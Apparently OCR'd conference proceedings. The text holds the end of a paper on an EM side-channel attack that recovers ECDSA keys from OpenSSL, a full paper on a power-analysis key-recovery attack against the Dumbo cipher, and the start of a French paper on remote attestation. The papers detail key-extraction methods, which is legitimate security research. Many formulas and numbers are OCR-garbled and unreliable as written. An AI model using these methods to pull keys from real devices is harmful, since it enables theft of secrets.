a biased distribution of the nonces, producing most of the time full-size
nonces, and sometimes short nonces. We extend this search and observe
that some curve orders may imply a converse distribution, ie., a production
of short nonces most of the time, and full-size nonces sometimes. This
is for example the case for the standardized curve c2pnb272w1, which
order’s 40 most significant bits are 0x01 OOFAF513: a nonce generated
uniformly between 0 and this order has a probability close to 1 — 278 to
have null 16 most significant bits, and therefore only a 278 probability to
have the patern 0x0100 as msb’s, and hence to require as many words as
the curve order on a 32-bit architecture.

The complete list of vulnerable curves can be found in the full version
of this paper.

2 Timing attack on some bits of the exponentiated
message

In their paper, Weiser et al. [9] claim that the identified vulnerability
is exploitable with a SGX-enclave setup. We will demonstrate that this
attack can in fact also be mounted in a practical embedded context. To this
end, we embedded the OpenSSL library (version 1.1.1k) on a Raspberry
Pi 4 board. Our first goal is to show that the difference of execution path
between the two possible branches actually translates into an observable
timing difference.

We choose to illustrate this difference at the lower level, by measuring
the execution time of the function bn_mul mont_fixed top. We start
by setting ourselves in an ideal setup, and measure the ticks between the
start and end of this function, for different input sizes around 256 bits.
The results of this experiment can be seen in Figure 1 (a). One can clearly
observe a huge timing difference on this function, which validates the
presence of the detected bias. This difference can be used by an attacker to
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detect with a near-perfect confidence the word-length of the input. In order
to confirm that this bias can be exploited when timing this function, we
drew 22° random nonces smaller than the order, and ran the function. We
observed (see Fig. 2 (a)) that the fastest ~ 2!7 executions were associated
with a maximal nonce size. It is by far sufficient to mount and succeed
the attack.

bn_mul_mont_fixed_top ec_group_do_inverse_ord

Wellale | 2

55000
Fl

® 50000

140 45000
|
e ebtame e ebtame
(a) Execution time (b) Execution time
(in CPU ticks) of (in CPU ticks) of
bn_mul mont fixed top ec_group do_inverse_ ord.

Fig. 1. Means and variance of the execution time (in CPU ticks) of two different
functions depending on the size of their inputs. (10K samples per size)

bn_mul_mont_fixed_top

ec_group_do_inverse_ord

nonce bit size
nonce bit size
&

[ 25000 50000 75000 100000 125000 150000 175000 200000 o 20
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(a) Zoom on 200,000 fastest executions of (b)  Zoom on 100
bn_mul mont_ fixed top fastest executions of
ec_group_do_ inverse_ ord.

100

Fig.2. Nonce size (y-axis) for the fastest of 2%° execution times of (a)
bn_mul_ mont_fixed top, (b) ec_group_do_inverse_ord.

We exhibit in Figure 1 (b) the same experiment on the higher level
function ec_ group do_inverse ord. This time, no timing difference
can be observed by the attacker. This is easily explained by the noise
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induced by a longer execution time, and the possibility of other timing
biases occuring during the process. Once again we ran 22> executions with
random nonces. As it can be seen on Figure 2 (b), it is not possible to
select the maximal nonce size based on the execution time. This negative
result may lead a designer under the false impression that the bias is too
hard to exploit in practice, and hence that the vulnerability is residual.
We will show in the next session that the bias is in fact still observable
by a slightly stronger adversary, and we demonstrate how to recover the
secret key of the whole ECDSA signature.

3 Practical SEMA attack on ECDSA

Fig. 3. SEMA Acquisition bench.

In this section, we fill the gap from theory to practice, by performing
a practical, end-to-end implementation of this attack. We now consider
the highest possible function call, and setup a practical attack on the
whole ECDSA. To do so, we target our Raspberry Pi setup and call the
ECDSA signature through the command line. We choose to perform our
experiments using secp521r1 for illustration purposes, since this is the
curve relying on operations on the biggest numbers.

We now leverage our physical access to the device by observing its
electro-magnetic emanations while performing the signatures. This ap-
proach is commonly known as Simple Electro-Magnetic Analysis (SEMA),
and relies on the electronical hypothesis that different manipulated data
and operations will induce different EM behaviour. This side-channel
has been often used in practice to break cryptographic implementations

(eg. [7]).
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To this end, we use an EM observation probe Langer RF-U 2,5-2
in order to measure the signal, as well as a Lecroy scope capturing 1G
samples by second. Figure 3 illustrates our setup bench. We then record
the electromagnetic emanations of the device during the execution of the
ECDSA signature, for different nonces. The knowledge of the secret key
allows us to recover these nonces and separate the curves.

This experiment clearly exhibits an important difference between the
behaviour of long and short nonces, as can be seen in Figure 4. Indeed,
while the first half of the window is similar in the two contexts, a divergence
occurs starting near time sample 250000, revealing the underlying different
paths taken by the executed code.

17-word scalar

uuuuuuuuuuuu 00000 100000 500000

Fig. 4. Electromagnetic emanations of the Raspberry Pi during the execution of
the ECDSA signature on secp521rl, for different nonces lengths. Top: 17-word
long nonce, bottom: 16-word long nonce. An easily observable difference can be
identified by an adversary.

We indeed tested this approach in an attacker scenario, with a sup-
posed unknown key. To this end, we collected 51200 traces, which we
automatically processed to find 104 of them containing the distinguishing
pattern. By running an LLL approach on the 104 corresponding signatures,
we were able to solve the hidden number problem and recover the private
key.

4 Conclusion

We showed how an identified timing flaw can translate into a practical
attack in an embedded setting. We extended the results of Weiser et al. by
discovering several more vulnerable curves in OpenSSL and validated the
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observability of the bias in timing at the lower level. Finally, we used
SEMA to actually perform an end to end exploitation of the vulnerability.
While we stress that OpenSSL is now considering these attacks as out of
scope, we firmly believe that our work strongly highlights the potential
drawbacks of this decision, and warns users of cryptographic libraries to
carefully take into account these vulnerabilities.
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Trumping the Elephant: Fast Side-Channel
Key-Recovery Attack against Dumbo
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Abstract. In this paper, we present an efficient side-channel key re-
covery attack against Dumbo, the 160-bit variant of NIST lightweight
cryptography contest candidate Elephant. We use Correlation Power
Analysis to attack the first round of the Spongent permutation during
the absorption of the first block of associated data. The full attack runs
in about a minute on a common laptop and only requires around 30
power traces to recover the entire secret key on an ARM Cortex-M4
microcontroller clocked at 7.4MHz. This is, to the best of our knoweledge,
the first attack of this type presented against Elephant.

1 Introduction

Lightweight Cryptography (LWC) is an area of cryptography that
studies and develops cryptographic primitives for resource-constrained
devices, such as smart sensors, smart cards or RFID tags. These devices
need to communicate in a secure fashion, and therefore need to use
cryptographic protocols, however traditional protocols intended for desktop
and mobile processors consume too much power and require too much
memory for an embedded system.

In 2017, National Institute of Standards and Technology (NIST) pub-
lished a report [13] on the state of the field, in particular regarding
already-existing NIST cryptographic standards, which was followed in
2018 by a Call for Algorithms [7] for lightweight symmetric authenticated
ciphers and hash functions, initiating the NIST Lightweight Cryptography
project (NIST LWC), a standardization process for what will become the
equivalent(s) of AES-GCM 9, 14] and SHA-3 [10] for resource-constrained
devices. While the main objective for the submissions is to be efficient
both in terms of timing, throughput and power consumption, resistance
to side-channel analysis (SCA) is also an evaluation criterion. Indeed, if
a smart device using a symmetric cipher is compromised (or if the user
is the adversary, as with smart cards [18]), the secret key should remain
inaccessible.
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The symmetric authenticated cipher Elephant [19] is a finalist to
this NIST standardization project. Elephant is based on Spongent [4], a
lightweight hash function, and has a variant that is based on Keccak [3],
the family of hash functions that led to SHA-3.

In this paper, we introduce a side-channel attack based on Correlation
Power Analysis (CPA) [6] against the 160-bit variant of Elephant, based
on Spongent and dubbed “Dumbo”. The rest of this paper is structured
as follows: in the first section, we present the relevant state of the art. In
the second section, we introduce the Dumbo cipher and its underlying
permutation, Spongent-7[160]. Then, in the third section, we introduce our
side-channel attack on Dumbo. Finally, in the fourth section, we present
experimental results of our attack on an ARM Cortex-M4 microcontroller.

1.1 Notations used in this paper

In the rest of this paper, we define {0,1}" the set of n-bit bitstrings
for some n € N and {0, 1}* the set of bitstrings of arbitrary length. We
denote the length of bitstring X € {0,1}* as |X| and we denote with
X0, X1,...,X;1 the l = (%} blocks of size 160 bits (20 bytes) of X,
where the last block is appended with 0s. We designate by bit i (or it!
bit) the b*" rightmost bit of the B leftmost byte of bitstring X, where
i =8B +b. We denote Xp; the ith bit of X, and Xia:p) the substring of
X that starts at bit a (inclusive) and ends at bit b (exclusive).

The concatenation of two bitstrings A and B is denoted as A|| B, their
bitwise exclusive or is denoted as A @ B, and their bitwise and is denoted
as A&B. X < i (resp. X < i) represent a shift (resp. rotation) of X to
the left over ¢ positions. X > ¢ and X >> ¢ represent the same operations
to the right.

We denote with 0" the bitstring made of n zeroes, and we denote the
random sampling of a bitstring A of length n with A § « {0,1}".

2 Related work

Since the launch of the NIST standardization process, researchers
have studied the implementation security of the candidates. For instance,
CAESAR’s “lightweight applications” winner and NIST finalist Ascon [§]
was found to be vulnerable to two side-channel key recovery attacks by
Ramezanpour et al. in [16]: a passive attack based on deep learning, called
SCARL, and an active fault injection analysis attack. The hardware imple-
mentation of NIST finalist GIFT [2] has also been found to be vulnerable
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to a SCA attack by Hou et al. in [12], and the software implementation
was also found to be vulnerable to a side-channel assisted differential
cryptanalysis attack in [5], allowing key recovery in only 36 encryptions.

Side-channel attacks are not a mere theoretical threat, and can have
real world consequences. In this respect, a SCA attack against AES-GCM
was for example used by Ronen et al. in [17] to extract the secret keys used
by Philips to sign the firmware of their smart light-bulbs. This enabled
the attackers to build a worm that spreads from an infected object to
another wirelessly. More recently, an electromagnetic CPA attack was
used successfully to recover AES secret-keys in Apple’s CoreCrypto by
Haas et. al in [11].

To the best of our knowledge, our attack is the first attack of this type
presented against Dumbo or any other Elephant instance.

3 The Dumbo NIST LWC Candidate

Dumbo is one of the three variants of NIST LWC candidate Ele-
phant [19], and is the primary member of the submission. Elephant is a
cryptographic mode of operation that uses a pseudo-random permutation
P to build a symmetric cipher. It uses a 16-bytes (128 bits) secret key K
for encryption and authentication and a 12-bytes (96 bits) nonce N. It
is authenticated, with a 64-bits authentication tag T that authenticates
both the ciphertext C' and the optional associated data A.

In Dumbo, the underlying permutation is Spongent-7[160], the 80
rounds Spongent-m permutation of the Spongent lightweight hash function
(introduced by Bogdanov et al. in [4]) with a 20-bytes (160 bits) long
state. The two other variants of this cipher are Jumbo (using Spongent-m
with 90 rounds and a 22-bytes long state, Spongent-7[176]) and Delirium
(replacing Spongent with a reduced version of the permutation used in
Keccak [3], and using a 25-bytes long state). In the next sections, we will
describe the design of Dumbo.

3.1 The Spongent-7[160] Permutation

Spongent-7[160] is a permutation described by Bogdanov et al. in [4]. In
the rest of the paper, we denote as P : {0,1}!69 — {0,1}160 the 80-round
Spongent permutation defined in Algorithm 1, where:

— rev is a function that reverses the order of the bits in its input.

— sBoxLayer is a function that applies the {0,1}* — {0, 1}* substi-

tution box defined in Table 1 to all nibbles of its input. In the
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reference implementation, it is applied on two nibbles at a time by
using an extended {0, 1}® — {0, 1}® look-up table.

— player is a function that moves bit j from the input to bit pL(j)
in the output, such that

407 mod 159 if 7 < 159,

L(j) =
PLG) {159 if j = 159.

— Ifsr represents the computation of one cycle of the 7-bit LFSR
defined by the primitive polynomial p(z) = 27 + 2% + 1. Ifsr(c) =
(cro:) < D)l (crg) @ cp5))-

Input: X, a 160-bits block of data
Output: X, a 160-bits block of data updated by the permutation
: ¢4 0b1110101
:fori=0,...,79 do
X — X @ (0'53|c) @ rev(0**®||c)
X < sBoxLayer(X)
X < player(X)

¢+ Ifsr(c)
return X

A ANl ol >

Algorithm 1. The Spongent-7[160] permutation

X 0123456789ABCDEF
SBox(X)EDBO214F7A859C36

Table 1. the Spongent S-Box

Invertibility of P While Elephant does not require P to be invertible to
encrypt plaintexts or to decrypt ciphertexts, we leverage its invertibility
in our key-recovery attack.

We notice that all functions in P can be inverted. The inverse of the
exclusive or operation is the exclusive or operation itself. The sBoxLayer
is inverted by swapping the two lines in the substitution table presented
before and reordering columns accordingly. The plLayer is inverted by
building the bitstring in reverse order: instead of moving bit ¢ to position
407 mod 159, we move bit 407 mod 159 to position 4 (for i < 159). Finally,
the LFSR counter is inverted by computing its formula in reverse: the bit
that was removed can be computed from the value of the other bits in the
counter and of the bit that was generated from it.
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Because of this, we can easily compute the inverse of P by starting the
counter c to its value after 80 rounds (127), then by computing successively
all the inverse operations of each round in reverse order. First, we apply
the inverse LFSR on ¢, then we inverse the pLayer, the sBoxLayer, and
finally we add the counter to the state.

3.2 The Dumbo Mode of Operation

In this section, we describe on a high level the process used to encrypt
and authenticate a message in Dumbo. The decryption process is not
precisely described but naturally follows from the encryption process.

Before encryption, the associated data and message lengths are not
necessarily multiples of the block size. Therefore, the associated data and
message are padded by adding a 0x01 byte, followed by as many 0x00
bytes as needed to complete the block. The empty message (i.e. M s.t.
|M| = 0) is padded in the same way.

The encryption of the ™" message block M; with nonce N is computed
as follows (i < lpr):

C; = maski’(1 ® P(maski}1 ® (N]|0%h) @ M;

Similarly, decryption is computed using the same operation by swap-
ping C; and M;.
The authentication tag is computed iteratively as follows:

1. The tag buffer T is initialized with the nonce concatenated with
the first eight bytes of the associated data (Ap).

2. For each remaining 20-byte block of associated data A; (0 <1 < l4),
the tag buffer is updated as
T+ To® mask}? @ P(mask}? D A;).
3. For each ciphertext block Cj, the tag buffer is updated as
T+ To® mask}’(2 @ P(mask}’(2 & ().
4. The tag buffer is updated by computing
T + mask?}o ®P(Tea maskggo).

5. The first eight bytes of the tag buffer T" are returned as the tag.

The entire encryption and authentication procedure is depicted in
Figure 1.

We can notice that the key doesn’t appear directly in this encryption
procedure: it only appears as a parameter to the masking function mask%’.

The mask‘;(’b function will be described in the next sub-section.
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Fig. 1. Sketch of the Encryption and Authentication procedure in Dumbo, with
the attack point highlighted
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The Masking Functions The mask'}gb functions are defined for b =
{0,1,2} as follows:

— mask®’ = Ifsr*(P(K]|032))

— mask}' = Ifsr*(P(K||0%2)) & Ifsr* ™! (P(K]|032))

— mask®’ = Ifsr*"1(P(K||032)) @ Ifsr™* (P(K]|0%2))

Fig. 2. The Dumbo LFSR

Ifsr® denotes a successive applications of the LFSR pictured in Figure 2
in which each S; corresponds to one byte of the state, starting with the
leftmost byte Sp. The state of the LFSR is initialized to P(K]|0%2), also
called expandedKey.

As described in the previous subsection, mask‘;(’0 is used to process the
associated data during tag generation, mask'}é1 is used to encrypt plaintext
blocks, and mask?{’2 is used to process the ciphertext blocks during tag
generation.

We note that the LFSR used in the masking function is invertible,
which means that it is possible to recover mask?{l’o from mask}léo. In other
words, it is easy to recover expandedKey from mask}%o. Given maskl’o, we
simply shift the bytes to the right and compute expandedKey, as follows:

expandedKey, = (mask}%o2 « 7)&(mask}%012 > T)® mask};olg

In the next section, we demonstrate an attack that recovers mask};o
using power analysis. Using that, we can then inverse the LFSR to recover
expandedKey and finally inverse P to recover the key.

4 Our proposed attack

In this section, we describe how we use a CPA attack [6] against the
first round of P during the computation of the authentication tag to
1,0
recover masky, and therefore K.
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We recall that during the computation of the tag, the first block of
associated data (after the first eight bytes) A; is absorbed by computing
mask}go ® P(A1 & mask}go). We notice that the permutation P receives a
20-byte block of user-controlled data (A;), which is bitwise XORed with
the secret we want to recover (mask}go). Our target for this attack is the
first round of this particular invocation of the permutation P.

If we combine the exclusive or operation and the beginning of the first
round, we can construct a model that, given the i*" byte of mask%go and
of Ay, outputs the value of the i*! byte of the state after the sBoxLayer
in the first round of P. We denote this model as Model(a, k, i), where
i €0...19 is the position of the byte, a is the i*! byte of A; and k is the
ith byte of mask}go. This model is described in Algorithm 2.

Input: a, a 8-bit portion of the associated data

Input: k, a 8-bit portion of the key

Input: i, the byte of the state to compute

Output: S, byte i of the state after the first round sBoxLayer

S+—adk > First operation of the first round: add c to the first and last bytes
if i=0 then

S+ S ®0x75 > 0b01110101
else if i=19 then

S < S @ Oxae > 0b1110101 in reverse order
S + SBox(.5) > Second operation of the first round: sBoxLayer return S

Algorithm 2. Model(a, k, )

What is interesting with this model is that if we have an oracle that
can retrieve the value of the i byte of the state at this point in a real
invocation of the cipher with a known associated data byte a, we can
easily find k by running the model with all possible values for k € {0,1}8
and stopping when it gives the correct output. Doing this again for all
values of ¢ recovers the entire mask}éo in at most 28 - 20 attempts.

In our case, this oracle does not exist, but we can use CPA with this
model to approach it. The idea behind CPA is to capture power traces of
the target device encrypting with multiple known arbitrary values of a,
then to compute the model with all possible values for k& and all values we
used for a to see which k predicts best the power consumption observed on
the device. This works because the power consumption of a cryptographic
device depends on the data that is being processed on that device. We
will now describe the process in more detail.
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4.1 Recovery of mask}{’0

To perform a CPA attack on a cryptographic device, we need a general
idea of the relation between the data processed by the device and its
power consumption. In our case, we assume that the power consumption
is proportional to the Hamming weight (the number of bits set to 1) of
the data read from or written to memory.

The recovery of mask}éo by CPA works as follows:

1. We generate an arbitrary number n of nonce and associated data
pairs (Nj, A;) with j € 0...n—1, N; $ « {0,1}12 and A; $ «
{0,1}28. Only the last 20 bits of A; really need to be random, but
for simplicity we generate all these values randomly.

2. We encrypt each of these pairs on the attacked device and record
its power consumption, which we denote as T ; a vector of m power
samples. All T; have the same length and are synchronized on the
same operation (they are aligned).

3. Using this data, we can now run the CPA on a computer. We
describe the procedure to recover the i*" byte of mask}%o. We denote
a; the ith byte of A; (a; = (A;);).

(a) For each candidate value k € {0,1}% and for each j, we
compute the Hamming weight of the model prediction as
(Hj); = HammingWeight(Model(a;, k, 7))

(b) Then, we group each position in the power tracest € 0...m —1
as vectors P, = ((To)¢s -y (Th—1)t)

(c) For each k and each ¢, we compute the Pearson Correlation
Coefficient [6] between samples Hy and P; as

cov(Hy, P;)

Pkt =
OH, " OP,

(d) For each candidate k, we find the maximal correlation coefficient
pr. = maxy(pp.+)

(e) We sort candidates by decreasing p. The most likely value for
the i byte of masky’ is arg maxy,(jz).

In general terms, this means that for each timestamp we compute the
correlation between the power consumption samples at that timestamp
and the predictions of our model given a candidate for the key byte k.
If the candidate is the correct value of (mask}%o)i, we expect that all the
predictions of the model will be correct and correspond to a value that is
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processed during computation in the cryptographic device, which leads
to a high correlation coefficient. On the other hand, while incorrect keys
will sometimes give the same Hamming weight as the correct key (by
the pigeonhole principle), computing the model with an incorrect key
will most of the time return a value for which the Hamming weight is
uncorrelated to the observed power consumption, which leads to a lower
correlation coefficient. By doing this on all possible values for (mask}go)i
and taking the highest correlation coefficient, we recover the correct value.

By running the CPA for each byte i of mask}go, we get a sorted list
of potential values that we call K;. We denote (Ki)o the value with the
highest correlation and (K})g% the value with the lowest correlation. We
can derive a potential value for mask}go K = (Ko)ol| - .. ||(K19)o and use
this value to recover a potential value for expandedKey by inverting the
LFSR, as described in Section 3.2. Then, we can inverse P to recover a
potential key.

4.2 Verification of key candidates

To verify that this key candidate is correct, we recall that
expandedKey = P(K]||0%2). This means that when we compute
P~!(expandedKey), we expect to recover K||032, and we can verify that
expandedKey is correct by making sure the four last bytes of the result
we obtained are indeed 0x00. Since P is pseudo-random, the likelihood of
an incorrect expandedKey being inverted to a byte-array ending with four
0x00 bytes is 2732, which we consider low enough for this attack. If the
attacker wants extra confidence, it is possible to verify the obtained key
by obtaining a known (plaintext, nonce, ciphertext) triple on the attacked
device, then trying to re-encrypt the plaintext with the obtained key and
making sure it gives the same ciphertext.

Because CPA is a statistical method, it can be imprecise, and sometimes
the potential mask}go we recover is incorrect, because the correct value for
byte i is (K;)1 and not (K;)o. To account for this, we suggest a form of
erhaustive search among potential keys. To make this analysis fast, we
get rid of unlikely candidates and only keep (K;)o to (K;)s for all i. The
number of candidates kept is arbitrarily chosen and may vary depending
on the attacked device, but it is important to keep this number small.
Then, we proceed to the exhaustive search by making a guess on the
number of errors. First, we try to find the key by assuming only one
byte of mask}go is wrong (i.e. 3j € 0...19 s.t. (mask}go)j # (K)o and

(mask}go)i = (Ki)OVi # j). We ignore what j is, so we iterate on all possible
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values of j, and for each we try alternative values (K;); to (Kj;)s, until
we find the correct key. If no correct key is found this way, we proceed
in the same way but this time supposing thats there are two incorrect
bytes, then three incorrect bytes. We could go on further, but we stop at
three to keep the runtime in acceptable bounds, since the runtime of the
exhaustive search with e errors is 4¢ - (260) checks.

5 Experimental results

In this section, we present the experimental results of our Python
implementation on this attack on a ChipWhisperer [15] board.

5.1 Our Setup and Methodology

We confirmed that our attack works by implementing it on the Chip-
Whisperer [15] framework, using the LASCAR [1] toolbox for the optimized
CPA computation. We chose this framework because it combines a target
processor and an Analog to Digital Converter (ADC) on the same circuit
board, making the attack easy to carry out and demonstrate. Another
advantage of using this framework is that it makes the attack simple
to reproduce by anyone, as the board used to demonstrate it is widely
available. We also published the source code of our attack on GitHub to
facilitate the reproduction in the kudelskisecurity /nist-lwc-power-analysis
repository.

The ChipWhisperer board we used is the ChipWhisperer Lite ARM kit,
containing a CW303 32-bit STM32F303RCT6 ARM Cortex-M4 microcon-
troller as the attacked device and a CW1173 ChipWhisperer-Lite capture
board. The microcontroller clock is set at 7.4 MHz, and the sampling
frequency is set to 29.6 MHz. The ADC has a 10-bit resolution and a 24k
sample buffer.

The implementation we attacked is the reference implementation pro-
vided by the cipher authors as part of their submission to the NIST LWC,
written in C. It was compiled with the ChipWhisperer toolchain, with
an -03 optimization parameter. The compilation script and instructions
are provided with the attack source code. While this implementation is
an ideal case for our attack, other unpublished attacks on NIST LWC
candidates show us that optimized versions written in assembly can usually
still be attacked by using more traces. We are therefore confident that
our attack would still work on alternative implementations as long as no
power analysis countermeasures are implemented.
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To validate our number of power traces, we ran our attack 200 times
with a number of power traces set between 25 and 40. We did not test
any lower value because of the very high failure rate. Each power traces
contains precisely 24’000 voltage samples, which we only capture after the
974’000th sample. This attack point was selected by visual inspection of
complete power traces to find the targeted S-Box operation. We carried
the attack on a common laptop with an Intel Core i7-8565U CPU with
four cores and a 1.8GHz base frequency. Since the laptop was running
other processes, the exact time of the attacks is imprecise, but the goal
of the benchmark was to give a general idea of the runtime. To limit the
effects of multitasking on the results, we alternated the number of traces
when running the benchmark: instead of running the attack 200 times for
25 traces, then for 26 traces, and so on, we ran the attack once for each
number of traces, and then repeated this process a total of 200 times.

5.2 Results
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ber of errors attempt

The success rate (that is the number of successful key recoveries over
the number of attempted key recoveries) was evaluated without any kind
of exhaustive search step: we only evaluated the success rate of the CPA
itself. The results are displayed in Figure 3. We can see that the CPA
already recovers the correct mask in more than 90% of the cases when
using more than 35 power-traces (max. 96% for 38 traces). However, it
is also interesting to see by how much the CPA misses when it finds an
incorrect mask. This is what the three other curves display: they show
what the success rate would be if we used an exhaustive search step
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with up to 1 (respectively 2, 3) errors. We don’t include in these curves
errors that could not be recovered by the exhaustive search, that is attack
attempts where at least one byte of the mask was not present in the top
four most likely values returned by the CPA. These occur rarely when
using more than 35 traces: only one error of the type was reported for 36
and 37 traces, and 0 for more. They are however more frequent on a lower
number of traces: 28% of attempts with 25 power traces had at least one
byte which could not be recovered by exhaustive search. Overall, we see
that the attack has an almost 100% success rate with more than 35 traces
and an exhaustive search step with up to 3 errors. We stress that this
exhaustive search step is not even used in more than 90% of the attack
attempts with that number of traces.

The performance measurement was done with a rather imprecise
setup (the computer was also working on other tasks) and excluded any
exhaustive search step. It only shows the time it takes to capture the power
traces and to run the analysis, measured using Python’s process_time.
The results are displayed in Figure 4. Overall, we observe that 75% of the
attacks take about 40 seconds or less, for all number of power traces. Only
10% of the attack attempts took more than one minute, and not a single
attempt took more than two minutes.

6 Extending the attack to Jumbo

As we detailed earlier, Elephant has three members: Dumbo, Jumbo
and Delirium. While Delirium uses a different permutation and cannot
be attacked with the same method, Jumbo uses the same permutation
as Dumbo with a different block size. This makes porting our attack to
Jumbo easy.

The main differences between Jumbo and Dumbo are highlighted
below:

— The underlying permutation is Spongent-7[176] instead of Spongent-
7[160]. This means the internal state is 176-bits (22-bytes) long
instead of 160-bits (20-bytes) long. The permutation also has 10
additional rounds.

— The initial value of ¢ in Spongent-7[176] is 0b1000101 instead of
0b1110101 in Spongent-7[160].

— The plLayer is slightly different:

447 mod 175 if 7 <175,

L(j) =
PLG) {175 if j = 175.
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— The LFSR used to generate the masks is different. It operates on
22 bytes (instead of 20), and So; is updated to Sy << 1 & S5 <
T® S19 > 7.

— The number of 0 bits appended to the key to compute the first
mask is 48 instead of 32.

The attack therefore works very similarly, by updating the model to
reflect the changes in the constants and length of the state. We do not
provide a detailed performance analysis of this variant of the attack, but
its source code is included with the other attack.

7 Conclusion

We presented an efficient attack on Dumbo, the 160-bit version and
primary instance of the NIST lightweight candidate Elephant, that can
recover the secret key in about a minute using only 35 power traces. We
described how this attack can be extended to the 176-bit variant of the
cipher, which uses the same underlying permutation.

While we only attacked the software implementation of Dumbo, it
would be interesting to see if hardware implementations of the cipher
are vulnerable to this attack, and if so, how many traces are required to
recover the secret key.
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Résumé. Dans le cadre de I'attestation a distance sur microprocesseurs
ARM, nous émettons ’hypotheése qu'un adversaire, privilégié mais distant,
ne peut reproduire la trace d’exécution de notre algorithme de confiance
optimisé. Compte-tenu de cette hypothese, du support matériel garantit la
sécurité d’une architecture de vérification de 'intégrité d’environnement
d’exécution.

Nous validons notre hypothése en auditant notre systéme, au travers
d’attaques de bas niveau, en tentant de reproduire les signaux d’acces sans
exécuter notre algorithme de confiance. Sous réserve que notre algorithme
de confiance respecte certaines contraintes liées & I’architecture matérielle
du microprocesseur, nous montrons que nous pouvons accorder un fort
degré de confiance en notre hypothese.

1 Introduction

Garantir la sécurité de 'exécution de logiciel sur un systeme complexe
et distant est un probleme difficile. Tout d’abord, son algorithme doit
étre vérifié de la conception a 'implémentation, afin d’en éliminer les
potentielles vulnérabilités. Puis, le systéeme sur lequel il s’exécute doit lui
aussi étre vérifié pour garantir I'intégrité de son environnement d’exécution,
afin de ne pas mettre & mal les propriétés de sécurité précédemment
vérifiées.

Malheureusement, les systemes d’information modernes et leur contexte
industriel sont aujourd’hui d’une complexité telle qu’il apparait tres difficile,
voir impossible, d’appliquer raisonnablement efficacement un schéma de
vérification formelle complet.

De plus, I'utilisation de I'informatique distribuée, telle que I’'informa-
tique en nuage, contraint a considérer des modeles de menaces de plus en
plus forts. Dans de tels paradigmes informatiques, les utilisateurs ne mai-
trisent plus 'intégralité de leur infrastructure, en plus de la partager avec
d’autres entités qui sont potentiellement malveillantes et / ou privilégiées.
Les risques de compromission sont donc plus probables.
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Par conséquent, afin d’avoir raisonnablement confiance en un environ-
nement d’exécution, et ce méme en cas de compromission, il est devenu
nécessaire de pouvoir mesurer a distance I'intégrité d’un algorithme.

L’attestation a distance est une méthode qui permet de vérifier dynami-
quement l'intégrité d’un algorithme s’exécutant sur une machine distante.
Cette méthode s’appuie sur deux composant principaux : un protocole
cryptographique d’attestation a distance; ainsi qu’une architecture de
vérification de l'intégrité d’environnement d’exécution. Cette architecture
est en général composée d’'un ensemble minimaliste d’éléments logiciels et
matériels qui sont considérés de confiance. Ces éléments de confiance sont
aussi appelés racine de confiance statique.

L’attestation a distance permet d’établir une racine de confiance dy-
namique, c’est-a-dire a ’exécution, méme en présence d’un attaquant
capable de corrompre l'intégralité d’une machine distante, a 1’exception
de sa racine de confiance statique. A I'issue de lexécution du protocole,
un utilisateur pourra décider de la confiance a accorder a I’algorithme
distant, avant de lui transmettre par exemple des données sensibles.

Une racine de confiance statique de taille modeste simplifie sa vérifi-
cation formelle, et ainsi la sécurité globale d’une méthode d’attestation
proposée a défaut de la sécurité d’un systeme complet. Malheureusement,
méme si ’on limite la taille et la complexité d’un systeme a vérifier, cer-
tains éléments de spécification ne sont pas formalisables ou non disponibles
sous forme de modele car trop complexes ou propriétaires. Dans ce cas
des hypothéses de fonctionnement sont posées et remises en question a
I'aide d’audits de sécurité.

Les constructeurs de matériel ont déja proposé des solutions d’envi-
ronnement d’exécution de confiance, ou Trusted Execution Environments
(TEE), qui peuvent aider & construire des racines de confiance statiques ou
dynamiques (ARM Trustzone, Intel Trusted eXecution Technology). Cer-
taines de ces solutions propriétaires proposent déja des implémentations
de l'attestation a distance d’enclaves utilisateur (Intel Software Guard
eXtensions), voire de machines virtuelles (Intel Trust Domain eXtensions).

Ces solutions propriétaires ne sont malheureusement pas distribuées
avec leurs modeles et leurs spécifications formelles. Il est donc difficile
d’argumenter sérieusement en faveur de l’absence de vulnérabilités et,
par conséquent, impossible aujourd’hui d’apporter des garanties formelles
concernant ces propositions.

Cet article s’inscrit dans le cadre de nos précédents travaux proposant
une mise en ceuvre de 'attestation a distance vérifiée pour micropro-
cesseurs [7]. Nous présentons dans cet article une extension de notre
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architecture de vérification de I'intégrité d’environnement d’exécution. Son
objectif est d’attester localement 1’exécution d’une fonction de configura-
tion de 'environnement. Cette extension est a la fois vérifiée formellement
et auditée lorsque la vérification formelle n’est pas possible.

Dans la continuité de nos précédents travaux [7], nous ciblons des systémes
complexes tels que les microprocesseurs modernes. En effet, nous avons
choisi un microprocesseur ARMv7 Cortex A9. Ceci implique une large
surface d’attaque pour l'adversaire : le systéme possede des mémoires
cache, une unité de gestion mémoire (MMU : Memory Management Unit)
ainsi que différents périphériques.

Initialement, nous avons vérifié formellement la sécurité de 'attestation
a distance vis-a-vis d’'un modele de menaces simplifié [7]. Notamment, la
configuration des périphériques, de la MMU et I’état des mémoires cache
sont considérés corrects lors de ’exécution du protocole.

Dans cet article, nous proposons d’intégrer ces éléments d’environne-
ment dans notre modele de menaces. C’est-a-dire considérer un adversaire
qui peut corrompre les mémoires cache, la configuration de I’ensemble des
périphériques et la MMU.

Nous introduisons donc deux nouvelles contributions dans cet article :

— la proposition d’une extension de notre architecture co-congue,
logicielle et matérielle, de vérification de I'intégrité d’environnement
d’exécution [7]. Son objectif est de se protéger du modele de menaces
plus fort ;

— une étude de la sécurité de cette extension, au travers d’un audit,
face a un adversaire possédant de haut privileges, une connaissance
de I'architecture et un clone du systéme physique.

Dans la section 2, nous présentons le contexte de nos travaux et fournissons
des rappels techniques. L’état de ’art est donné dans la section 3. La
section 4 résume nos précédents travaux : une architecture de vérifica-
tion de l'intégrité d’environnement d’exécution vérifiée formellement. La
section 5 détaille notre premiere contribution, a savoir ’architecture de
notre extension visant a protéger d’un adversaire plus fort. La section 6
détaille notre deuxiéme contribution, a savoir I’audit de sécurité de cette
extension. Finalement, les résultats de notre étude sont donnés dans la
section 7.
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2 Contexte

2.1 Attestation a distance

Le protocole cryptographique d’attestation & distance consiste a vérifier
si une machine prover possede, a un instant donné, les propriétés de sécurité
acceptables pour une machine de confiance distante appelée verifier [9].
Ce protocole s’appuie sur le paradigme question-réponse comme illustré
sur la figure 1.

Vérifier Prover
(1) Requéte

>

(2) Test d'intégrité
. (3) Réponse

(4) Vérification

Fig. 1. Protocole d’attestation & distance

Dans un premier temps, le verifier envoie une requéte ainsi qu’un
challenge au prover (1); généralement, le challenge est un nonce qui
